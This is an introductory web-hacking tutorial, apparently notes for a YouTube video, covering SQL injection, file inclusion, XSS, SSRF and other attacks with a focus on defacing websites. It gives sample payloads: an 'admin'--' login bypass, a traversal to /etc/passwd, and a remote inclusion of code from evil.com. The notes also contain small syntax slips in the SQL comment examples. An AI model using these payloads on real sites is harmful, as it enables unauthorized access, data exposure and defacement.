INTRODUCTION TO WEBSITE HACKING (NOTES)

By: AnOn Ali

Table of Contents:

The SQL Injection Attack

SQL Injection is a type of web vulnerability where an attacker can interfere with the queries that an application makes to its database. This can allow the attacker to view, modify, or delete data in the database, and sometimes even take control of the application.

What is a Comment in SQL Programming?

Comments in programming are notes or explanations added to the code by the developers. They are ignored by the compiler or interpreter and do not affect the execution of the code. Comments are used to make the code easier to understand for anyone reading it.

Examples:

Python:

```
# This is a single-line comment in Python
```

SQL:

```
- This is a single-line comment in SQL
```

Note:

SQL comments can also be exploited in SQL Injection attacks.

- Username: `admin'–`
- Password: `haha`

```
SELECT * FROM users WHERE username = 'admin'-- 'AND
password = 'haha';
```

SQL Injection Payload List

GitHub has a repository containing a comprehensive collection of SQL injection payloads and techniques. You can find it at: https://github.com/payloadbox/sql-injection-payload-list

Local File Inclusion Attack (LFI)

Local File Inclusion (LFI) is a type of web vulnerability where an attacker tricks the server into including local files that are stored on the server itself. This can allow the attacker to access sensitive files and sometimes even execute code on the server.

Which Websites Are Vulnerable?

Websites that dynamically include files based on user input are vulnerable, especially if they do not properly sanitize and validate the input. Content management systems (CMS), forums, and web applications with file inclusion features are common targets.

How Can an Attacker Find This Vulnerability?

1. **Manual Testing:** An attacker can manually manipulate URL parameters to test if local files can be included.

   Example:

   `page=about.html` → `page=../../etc/passwd.`

2. **Automated Scanners:**

   Tools like Burp Suite, OWASP ZAP, and Nikto can scan for LFI vulnerabilities by trying various payloads.

3. **Error Messages:**

   Examining error messages returned by the server can provide clues about the presence of an LFI vulnerability.

Remote File Inclusion Attack (RFI)

Remote File Inclusion (RFI) is similar to LFI, but instead of including files stored locally on the server, it allows the attacker to include files from an external source. This can enable the attacker to execute malicious code hosted on their own server.

How Can an Attacker Find This Vulnerability?

1. **Manual Testing:** An attacker can try including remote files by manipulating URL parameters.

   Example:
   `page=about.html` → `page=http://evil.com/hack.php`

2. **Automated Scanners:** Same tools can scan for RFI vulnerabilities by attempting to include external files.

3. **Error Messages:** Error messages indicating failed attempts to include files can hint at an RFI vulnerability.

4. **Source Code Review:** Reviewing the application's source code (if available) can reveal unprotected file inclusion points.

Overview Of All The Attacks

1. **Finding Admin Login Pages:**
    - **Overview:** Locating the admin login portal of a website.
    - **Defacement:** Gaining access to the admin panel to alter website content.
2. **Local File Inclusion (LFI) / Remote File Inclusion (RFI):**
    - **Overview:** Including and executing local (LFI) or remote (RFI) files on the server.
    - **Defacement:** Injecting malicious scripts or replacing files to change website content.
3. **SQL Injection:**
    - **Overview:** Injecting malicious SQL commands into database queries.
    - **Defacement:** Modifying or deleting database entries to alter website content.
4. **Cross-Site Scripting (XSS):**
    - **Overview:** Injecting malicious scripts into web pages viewed by users.

- **Defacement:** Displaying altered content or redirecting users to malicious pages.

5. **Server-Side Request Forgery (SSRF):**

- **Overview:** Making the server perform unauthorized requests.
- **Defacement:** Exploiting internal services to gain control and modify website content.

6. **DDoS Attack:**

- **Overview:** Overloading a website with traffic to make it unavailable.
- **Defacement:** Indirectly affecting the site's availability and functionality, but not directly altering content.

Additional Attacks

Some additional attacks that I didn’t cover in my video are:

1. Server-Side Template Injection (SSTI)

- **Explanation:** Injecting malicious input into a server-side template engine to execute code on the server.
- **Example:** An attacker manipulates template data to alter the website's content or execute server-side commands.

2. Directory Traversal

- **Explanation:** Accessing files and directories stored outside the web root folder.
- **Example:** An attacker uses directory traversal to access configuration files and modify website settings or content.

Some other attacks that target visitors, not the website, are:

3. DNS Spoofing (DNS Cache Poisoning)

- Altering DNS records to redirect traffic from a legitimate site to a malicious one.

4. Cross Site Request Forgery (CSRF)

- **Explanation:** Tricks a user into performing actions on a web application where they are authenticated without their consent.
- **Example:** An attacker sends a link that, when clicked by the user, causes their account to transfer money to the attacker's account.

Resources:

- How to Setup a Vulnerable Website to HACK! – PDF Download
- Introduction to Website Hacking – YouTube Video (An0n Ali)